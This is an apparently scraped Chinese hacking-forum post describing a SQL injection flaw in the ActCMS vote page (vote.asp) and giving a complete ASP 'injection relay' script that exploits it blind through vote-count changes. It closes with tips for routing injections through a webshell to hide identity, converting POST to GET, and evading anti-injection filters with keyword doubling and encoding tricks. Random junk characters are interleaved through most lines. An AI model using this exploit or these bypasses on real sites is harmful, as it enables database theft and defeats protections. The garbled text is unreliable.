+ W* h3 E: i j8 Y0 Y/ X
看到ninty大牛的blog的一篇文章4 a6 C. C! {0 B! h6 s
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
( r) s4 \3 B& Q% k关于actcms漏洞的利用 by 3x qq:381862589
9 n' U9 F/ y+ k- Z# q2 V2 R转载请注明以上
/ k" t# k p# \" |, {, V9 o; k: A漏洞文件:, ~* T. U) m& M Q6 u0 ]$ T' K
/plus/vote/vote.asp
9 W- F& ]! [( v4 P+ d代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then 5 d6 m4 T$ h! B
$ j) O& O: W' B% S
2 response.write "<script>alert('请选择投票项目。');window.close()</script>"
* Y7 R. N* D/ Z8 E
" K- _( G U+ d9 r3 response.end
9 _! x8 _: u; j7 S ^7 Y
- g# A$ @( l0 S4 end if ) D6 D2 r' m$ Y7 m- ~
+ E$ U# e4 F f6 I2 y
5 for i=1 to request("voted").count ; @* }$ @$ f9 j* I% A* o$ ~( L' D
4 M( ^; u' m& U" A M1 P; I" l
6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) ! a& I4 r6 w) y. D- M% p$ q; P
8 \1 ^9 e! M; F! d1 I! ?# C- L$ {3 F
7 next
9 J5 Z# |3 Q" k2 v6 G
U Q W: G7 T" S) b0 t8.... 1 R" b m9 e( C1 f
/ _, P& g1 y$ [# x4 T N
9response.Redirect "index.asp?id="&id&"" 2 X7 k5 M# F3 ?0 p) E i0 ?
投票结束回跳转回index.asp这个投票结果页面
. i/ L" T; \% u5 g* Z2 f) A+ g如果投票成功票数加1' [6 m# Z: S5 b" U- V M
失败票数不变
2 z) |" R7 z. D J$ P& `' d. w如图:+ {+ x+ U, }: F; ]2 L/ t
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
A5 {) [( u9 x$ y3 z- `
2 z3 i% A4 Y0 k2 ^: }2009-12-27 13:20% x" t4 }/ g6 b4 \, j/ f
# @6 g1 B" @& w t3 z. z利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了, z1 r3 f- F1 W) i8 s! o+ g4 F& C
6 w! H- t) }( r) @) Q0 b& E( F& D4 u本帖隐藏的内容需要回复才可以浏览0 N* \( y- w" f/ Z7 j
我们用注入中转来实现这个注入具体代码如下:; R! V* w$ {. I8 c
先用寂寞的刺猬大牛的注入中转生成jmget.asp
5 w) D! M9 c" m注入地址:http://localhost/actcms/plus/vote/vote.asp
0 P) R0 X* n9 T9 o注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项2 G* Z u# x7 m6 J
( Z, Y" z# c7 O) u$ A* @然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% $ Q5 ? V) G) j* i! r
6 D: p0 M1 \9 r2 m- s02JmdcwName=request("jmdcw")
; ~9 g! N4 c; B; i) v( d8 _. n- L& l$ d! {
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 6 B8 ?& u9 J# L( K$ g! D
& d) r3 Y% i8 |# R04JmStr="id=1&voted=-1 or 1="&JmdcwName
# I- G+ ]! q+ d6 H2 L2 O6 O7 |% w2 d
05JmStr=URLEncoding(JmStr)
5 l; ~# P2 k- }/ ]
5 D8 i6 x S' C+ \% Y3 `" F06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
# r n% i* R+ @$ a/ B( k) ]/ G0 l% e+ y2 z
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"- P5 Z6 w, U2 X5 S! B, d
6 |7 w- D1 |- q7 i, Q' x
08testurl=testurl & "?" & JmStr ' F0 ?! O$ {5 o0 C- {; j: A
( w2 U4 k9 H/ h' B g& t
09JMUrl=JMUrl & "?" & JmStr
) b! f6 d Y% i# m# Y- J6 J
. M- P, I7 E/ b1 P- \2 {+ z10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
# k5 L I2 K1 v0 Q0 @; q. J+ O R6 m3 F$ g; K
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
8 j3 \) l8 y! M* B- F
. c( r' Q5 n% H I12JmCok=replace(JmCok,chr(32),"%20") - |2 H" H5 C5 R
0 p4 _6 }. s; Q0 _
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
7 V: B; U5 V# l5 y- q" a( v/ ]6 U9 h" h/ d8 x7 G# B
14 / L, ^; ?, d# W- n3 U
! i/ K+ f& x1 t* W+ `) A3 U
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 0 C: ^( S# d! e5 g
2 s5 Y7 F- n1 i1 S. {
16
; t# w! O- p: c5 @4 n) X0 ]5 p, r4 r( I: F( y: [' C/ t7 ?8 y
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
' f0 D2 I, e8 r+ y+ l9 w$ h
, U& L% M3 S+ @1 }: T* }3 F18response.write test1&""&test2&""8 n7 Q/ h# P% [4 m* c5 m
) E/ m2 M4 I0 n% i; b
19
% B" e8 P# {2 K t; }/ Z6 B( Y8 f' o# y' c7 x" W. P0 y% v* o0 v/ ?
20if test1=test2 then '如前后记录相等,表示失败 3 k; G0 P3 u' T X5 h; p8 S
- e+ t5 w( i% Z' `8 o
21 response.write "failed"
/ t( C! D* |9 H
, U; ?+ J' t( o$ I* C22else : r2 N* s o' @' ?& x) t% r- D' I+ k; J
2 O9 y, A9 D# O1 Z23 response.write "succeed"% e1 t* o' F5 l% M) m
Q% v# P: N* g' z& f- H
24end if 1 F4 _2 Q8 M5 j6 ~
; F6 v# K" W6 \# Y3 j
25 , }3 K2 f5 A/ P4 ^" J" l% `
0 s/ e; K+ [# \8 a1 t. X! t* H26response.write "by 3x"
( f; }9 W. M* \" C' j- u, x% ?- \4 V+ G3 s3 B
27 8 L, t: b$ s. S- V) H) J) ^( k
/ j9 Q7 n6 G3 }, T9 n6 X( C! A28 $ P4 p8 g% L" m7 x
/ T6 C! u: _. o- j( `; Q
29Function PostData(PostUrl,PostStr,PostCok,PostRef) ; z9 e/ J$ ^" E- t* T( i" ]
l9 \+ d9 f ~2 e( D( J30Dim Http
5 {/ Z5 q% s5 {: Z7 B1 j( C. Q
1 T* ^2 F- M6 T+ [2 S B31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") : Z9 c$ m/ O" j& b9 F
! ?$ ~( V4 ?0 v% r32With Http + M% X2 e. d. A# t: _) q
1 P2 \# c% L l% _ D- r33 ) m! Q+ O" R% |2 l' T! l# N. f
2 e& t" T6 @& T/ ?34.Open "GET",PostUrl,False3 R+ o& r5 ]4 i6 \
3 J& r5 G* n( ?35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded") Y/ s( k% o/ _2 _9 l
* {1 @ ~1 K0 u. `36.SetRequestHeader "Referer",PostRef / s4 t& \) I) c8 m
( _( `! s. |1 L& W
37.SetRequestHeader "Cookie",PostCok 7 c9 i7 W2 T# Y( d
" A( S+ y9 D, ?6 y3 E38.Send ()
, i& C, ^/ ?4 T7 C1 e
u! u6 @8 x# J& z% \ [5 s' k39PostData = .ResponseBody
& Z5 L$ G; F3 t1 T+ ], z" v( Y4 i0 c
40End With' @. l3 B/ S4 d# g2 J7 h
9 v3 W* u, V1 M% a. k3 c
41Set Http = Nothing
$ K/ V- W$ G4 R0 ~% x
! ^+ l% t n' f9 q0 n42PostData =bytes2BSTR(PostData)
; U4 H/ Q. \1 L3 \0 a6 {- v. \& Q+ v3 K
43End Function& T* Y" T6 C7 O6 h' b2 _
+ f' L' m9 o, b44 9 P- G9 w0 T g) t
+ b x/ @5 |- b3 J! m0 G6 } ]
45 [* r0 A0 `6 c
9 b9 H. J, S+ J7 L3 Q" V46Function bytes2BSTR(vIn)
4 q# `6 ]9 M# k2 K
6 ^8 _, I, N' \ A n: z h47Dim strReturn 6 l3 I, m" A9 e: `+ ]
; k4 E1 C" f1 }) @2 r48Dim I, ThisCharCode, NextCharCode
5 @8 G5 I! D8 j( ?# N# Z, P1 ^$ ^
49strReturn = ""
# P0 t* R6 }4 q- j0 ^+ Z/ w9 \5 W+ e3 P. ^$ S( K! Z1 G! J
50For I = 1 To LenB(vIn) ! i* V' T5 S4 D3 [- B& ^, V
2 F p; D6 L" g' L& k8 E, Z- H. u
51ThisCharCode = AscB(MidB(vIn, I, 1)) 5 N2 T" K8 ]+ ~- p# F' E
7 T5 X" p5 | O3 n, K' I& a2 Y
52If ThisCharCode < &H80 Then5 C5 I0 `5 w W& t0 g
' K. J8 H) Y# h. j. [53strReturn = strReturn & Chr(ThisCharCode) 0 p) O) v# ?+ |! x- G( y, Y p
& p# k, m3 B% D: y7 q+ {2 J* H- j54Else
( G+ A; _) F3 A# o% S0 S) z, C- Q9 K& T5 z" A$ r8 K: J
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
- ~) R! E& L6 b' Z' l# C( u$ a; A7 j S- B( \
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) ) _ [- j0 `1 E
5 p- S/ H( S, i7 t* i: ^57I = I + 1 3 }/ O7 u- J: o; [- ^9 O- F. M' Y# x
, n' e% X% q; V# i58End If: q2 p6 z `# ~$ Y: A
) w5 ]1 a$ k' ^5 A59Next
. g s6 [: O3 y: p
6 E( ^! Z. C9 h9 `1 C/ J" u60bytes2BSTR = strReturn
1 v: O R- q) l& }! y% g& P3 X% V* l3 V: b x8 Z9 p2 p$ C
61End Function& g- |* `8 z0 q+ z( Z
9 ^* j2 H+ P" V- c- @62 / Y: \" Q, K9 {$ J; i* q
, L @ x; d' j$ r. z
63Function URLEncoding(vstrin)
1 l/ Y8 _* \0 H. Q
; Z, k* K4 p# Y0 o5 P3 j64strReturn=""
9 n8 e5 u* r7 u) {# H
0 ?4 b7 d* S% @' S M65Dim i
% ~# ~( ?& r, y* S3 o' q. \% Z% L* \" x( r: ?; K7 `& d9 _
66For i=1 To Len(vstrin) % q4 Z. ~/ ~5 s+ _* r
: Z/ |# \7 s( f. u
67ThisChr=Mid(vstrin,i,1)
6 C' t% t( Y3 q. o8 b) A" y% D' R
) z K7 V! e% K# g68if Abs(Asc(ThisChr))< &HFF Then0 R* S9 W. e, ~# X8 x. k# K: C4 p
9 A, k3 i$ r, H2 ^" U- Y6 Q
69strReturn=strReturn & ThisChr
9 @! ?' U% @+ }' T9 u6 O F: o3 q* z; [0 O6 w- F; T
70Else
/ `$ o; x: j- `; Y' h5 [$ C
7 P8 f2 t% z' N. J71InnerCode=Asc(ThisChr)
/ [6 ^1 p( }* ~% |# m0 c0 j( @6 W9 v2 V' o; h/ m
72If InnerCode<0 Then0 H) |4 ]) h. U4 P8 d
: {/ }% @2 f8 Z' v4 g/ c9 \73InnerCode=InnerCode + &H10000
; Y- c+ S# E4 U7 K9 R& N" q, l' p! M/ N
74End If! [$ ~6 W6 [: b) e( h8 v
2 a# E) V# w% Q9 L' [$ E75Hight1=(InnerCode And &HFF00) \&HFF
0 Q; z8 x# r/ P1 z/ B4 }4 B7 `2 }( [$ S, D1 x/ S
76Low1=InnerCode And &HFF . d# p; z' [7 B( D) g& R( q+ }
9 q: Y' A: u# E' \) W; S77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) : x8 e, Q, X* w) }4 W2 N
" b" w$ @& Z( E( r2 R% R
78End if + ?( y( Z X7 G; F+ V/ C
8 M$ T) g1 Y, t" r/ b' X! N
79Next- X+ L2 e4 j, ^( C4 s7 E/ N
% b% F. |! S3 D/ p. p; u
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
4 I' z, T4 N0 K
; t7 x! N6 T4 o+ v- O" Q9 n81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
1 W" I% r5 {" O( c
: f; {2 d5 R2 E0 q" p# s82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
' s a+ S: r# W7 u, t/ i1 R) e% {& y+ g$ P2 C3 V; m2 @2 Y
83URLEncoding=strReturn ( Y$ }; k( ]% T) ^5 R3 e1 y+ d
* F3 x( p2 e. `6 D2 b+ Z84End Function4 K3 H: l1 U4 c# A) \
7 \; y h! ]# d' v85
7 o3 v# L% S0 z& e- R/ D
/ ]4 n& u L5 z4 [8 p86function getSt(body)
7 p% q* C7 M8 q. S; }& T6 ]% ]. X. s# }4 }
87 startpot=instr(body,"投票人数:")+len("投票人数:")
' B& P; |' A: `6 j! Z" \5 S! p1 b: z5 P3 h
88 endpot=instr(startpot,body," ")
$ u( g) a; Z; m/ N6 s6 [
/ i0 t2 g% E, o7 G& z89 getSt=mid(body,startpot,endpot-startpot)
: j/ d% n/ f/ @5 h, \9 r+ H/ Q t) B8 V R
90end function
( _0 e% L o& r& [6 e
" c( ^$ |2 c+ G% f, l1 k91%>$ S4 @, a& K o' A5 J" ?
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
5 [( ~6 ?5 W' ?% y" t6 K7 b测试下效果:
1 ^, ^/ l" \& u* C* i, T投票成功:
; ^) x" ~ g s) Khttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
+ r5 A0 P) u) f# Z7 H- Q9 \- |$ m' @9 [3 u7 E/ y/ e
2009-12-27 13:29: I2 t1 b3 u2 }; ?* J0 F& \' m7 p
投票失败
f$ b) I$ N, F- T. Yhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)9 z1 M9 |7 n* E+ o7 {7 k8 I
2 ?' T% _2 U2 h- L
2009-12-27 13:29. ~& i* Z8 m0 ?# H! T
-------------------------------------------------------------------------------/ F6 Y1 q" m2 l) P5 F: J
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
% W$ ]5 L* `2 F: S2 m" B" G; H. m很抱歉。。。只能用单线程工具去注入。。。。。' v6 `0 J/ S5 k) B3 {3 i4 F
所以失败。。。不好意思。。。$ f) t( t1 Z# K
-------------------------------------------------------------------------------, A) b6 z4 ~0 S) d
* l n6 A6 [' B8 L' @* u注入中转的一些其他应用$ ~5 @+ @! t# P4 g o
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
, D; ~/ p7 A a- Z% ^; L1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
# f. Q8 K! W2 \$ r2.post注入转成get型的注入,方便我们使用工具来跑4 x. `2 w4 n3 _ R: N
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")7 j2 ^- y0 R5 |
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
' k) x5 }2 _' f% e0 a) N9 J5 l" ]; |" P P' C6 _4 {. w& r- O
|